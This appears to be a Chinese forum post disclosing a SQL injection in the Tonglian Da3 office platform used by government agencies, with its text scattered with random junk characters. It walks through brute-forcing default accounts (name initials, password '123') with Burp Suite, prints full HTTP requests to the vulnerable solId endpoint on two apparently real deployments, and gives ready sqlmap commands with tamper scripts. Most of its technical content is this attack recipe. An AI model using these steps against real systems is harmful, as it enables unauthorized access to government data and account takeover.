同联Da3协同办公平台前台通用sql injection漏洞

admin

$ {; W, z4 t e- V7 h2 r
' Y4 S, F. t6 Y; B8 f8 k

* [& R9 ?% t+ n5 l( k- @" y

5 p- T2 m5 s9 h: @% |7 r: V D/ ] 平台简介： . U+ I2 \* {3 j/ Q, x$ _/ z

: u7 ?& I& o7 t% F, T0 K: M

 

: A2 N; ~1 b7 S% s. n1 v

北京同联信息技术有限公司（以下简称同联）由用友政务与用友原行业事业部团队合伙出资成立。同联以“为全国各级政府单位提供信息化咨询规划、建设解决方案和信息化运维服务，以加强各级政府的精细化、智能化管理，形成高效、敏捷、便民的新型政府。”为使命，致力于为各级政府单位提供专业、标准、灵活、易用的信息化产品及专业的服务。
/ ^; u/ i3 [! ^" v- ~7 h$ ?同联面向政府单位提供专业、标准、灵活、易用的信息化产品。针对各级政府单位，分别提供以“移动政务办公”为主的Da3系列管理软件；针对政法单位提供以“协同办案”为核心的政法协同办案系统等。
u1 e* u! @% H3 S, r同联本着“协作、专业、创新”的工作方针，为推动各级政府单位信息化、促进各级政府快速转型为 “智慧型政府”做出积极贡献！

; g9 T' n7 d- M3 i

 

, o! E. }4 v2 }/ K) m% Y 由于此程序为新开发的程序，故能找到的案例并不多，下面附案例地址： 1 K9 D! s( s& J

  $ L9 k5 O, H+ ]" y

http://1.1.1.1:7197/cap-aco/#（案例2-）

' e* w% R. }1 t& x- A http://www.XXOO.com （案例1-官网网站） ) ?* I& n7 o* v3 Q7 w0 W. b

: V% m" o: h- L: C6 j6 [( |4 v

: o! d' Z* e# @* b: O+ D  

; D0 l, r0 x- w" h$ Q# z! Y( d

漏洞详情: ( V' O7 ^8 T$ K

 初步确定平台的默认账号为姓名的首字母小写，初始密码为123，为了能够更好的模拟入侵，使用黑盒测试手段进行测试

% U" t5 d' Q# s# {5 V) _

     首先使用burpsuite代理，然后再用黑客字典生成一个全英文小写的3位字典，利用burpsuite进行暴力破解，破解结果如图：

  X0 Z8 W! K9 Z# O

Z( R1 `# |+ F- ?( l  

status为302即表示破解成功，然后找个破解成功的账号登录系统。经过长时间的手工测试发现在发文管理模块抓包，抓包的数据分别如下： # D. ?1 q+ U- s: N% G

1、案例1-官方网站

GET /bpmRuBizInfoController/findBpmRuBizInfoBySolId?rows=10&page=0&solId=42b0234e-d5dc-402d-9cef-1ce38cbae480&state=&title=1111&sortOrder=DESC&query=bizTitle_%3D%26URGENCY_%3D%26STATE_%3D%26startTime%3D%26endTime%3D&_=1510060789826 HTTP/1.1

/ }/ G H* |1 {; _) R

% V. J$ O$ i& X7 i Host: www.XXOO.com

# {0 L. {- k6 H6 |! u; w4 N; P4 C, j

Proxy-Connection: Keep-Alive - b' T0 ]: f4 _0 t& t9 Q( J

: S. G/ A }# t: I5 ]2 F Accept: application/json, text/javascript, */*; q=0.01 9 C4 C' E% i0 z; w( V a

6 w- {7 } g. T4 l; A Accept-Language: zh-CN

2 A' R6 L8 k8 T7 e/ ?9 s5 ?

, P: _, w% y' f- [) B Content-Type: application/json ! s' p; h2 T0 t2 ~9 ?

. W3 u. Q0 ]0 K% u

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0; SE 2.X MetaSr 1.0) like Gecko & c: w. `% T7 T4 g9 ?

. ]. D, Y C ]6 r* R: o6 q' ~

8 K- l3 Q1 G9 G8 ^/ K5 \3 l4 R" r2 ? X-Requested-With: XMLHttpRequest x; H* b* @8 g* ^2 d. Y& ~

6 P% V, l6 i! [2 V: e

$ e! M, |" h1 H- M9 d Referer: http://www.XXOO.com/bizRunContro ... 80?modCode=1008M002

" o( N/ D8 x: w$ k3 }1 X4 ^

7 b& t& l$ u* p/ _5 D& g$ } Accept-Encoding: gzip, deflate, sdch 2 z0 C: D: Q$ C/ O. I0 v

3 x& T: ?# J! J( ]3 ^2 ^( ?

4 J" V- g' o ` B- K Cookie: username=chm; password=123; rememberme=1; autoSubmit=1; sid=2cf5142f-6c1e-4cbb-89d8-2ebd08438b2e

将上面post数据包复制到txt文本里保存为tl.txt并将其放到sqlmap根目录下利用sqlmap注入命令为：sqlmap.py -r tl.txt --dbms=mysql --level 5 --risk 3 --tamper=space2hash.py -p solId --is-dba 注入如图: ) b6 C( |, I- m& \

5 `* w% B- l% _0 M7 J/ Z9 a  

7 W' @& T1 E1 ^4 F Q/ i, K2 U   9 D, U/ ^1 m0 q+ }) a5 `! W1 L& e

( q: O5 Q3 S: [$ I

  , P# Y( l2 R5 n

9 f$ S# C; w- N1 j0 U' p1 I o- d

2 F$ A, S# Y- X1 E {3 }) q  

' S0 l& B: X( P8 S

  7 ^# G6 C8 v( S) j

% p# c C4 j& ` 2、案例2-某天河云平台

9 ^0 m- V4 Z4 f0 e- M3 }% u) \

& t4 `; R. X: ^7 ] GET /cap-aco/bpmRuBizInfoController/findBpmRuBizInfoBySolId?rows=10&page=0&solId=af056885-4ae5-4e0b-8a0d-c413a786f2db&state=&title=11111&sortOrder=DESC&query=bizTitle_%3D%26URGENCY_%3D%26STATE_%3D%26startTime%3D%26endTime%3D&_=1510047738662 HTTP/1.1

7 b, c( }$ w' y0 T

Host: 1.1.1.:7197 / B+ v8 {3 c3 H& W& A0 v7 `

: q# ~' o8 f8 V# P% k Accept: application/json, text/javascript, */*; q=0.01

1 d( V( N& \3 y9 l

1 u6 A' q1 z. m X-Requested-With: XMLHttpRequest 9 n2 P3 Q' A. x

4 u- A2 L- x# k0 U+ r( \ User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.221 Safari/537.36 SE 2.X MetaSr 1.0

6 q; a0 Z6 G3 m3 ~- _# p

& S. w; |, a) J# z, P) j Content-Type: application/json ) H* X2 S( p+ m

E9 r6 U2 i4 J( {1 A9 O8 a

) B& N. |+ A. u Referer: http://1.1.1.1:7197/cap-aco/bizR ... 86f2db?modCode=1008

6 W* ]- H" w% i* P6 k

Accept-Language: zh-CN,zh;q=0.8 3 Q. A, g+ S2 |% m

r' P" k- A) q( b' N9 A q

Cookie: autoSubmit=1; sid=4e333ec9-d194-456b-bb08-4ff64c6eb1fc; username=lxr; password=123; rememberme=1; autoSubmit=1 ( ^; y3 w0 v7 ?: W0 m8 N- ~

$ ~( O* H* T' b+ ]. v

* W- V4 d% s" L5 f0 \. W0 c! ?- J+ O/ d Connection: close % P$ s V! i- {/ L

将上面post数据包复制到txt文本里保存为tl.txt并将其放到sqlmap根目录下利用sqlmap注入命令为：sqlmap.py -r 1.txt --dbms=mysql --level 5 --risk 3 --tamper=space2hash.py -p solId --is-dba 注入如图:

0 C2 T- ~2 u* q! K% N0 F1 O$ Q  

6 \+ x$ O7 w) T j/ N6 A) L

$ z$ N- h2 o' e' r2 m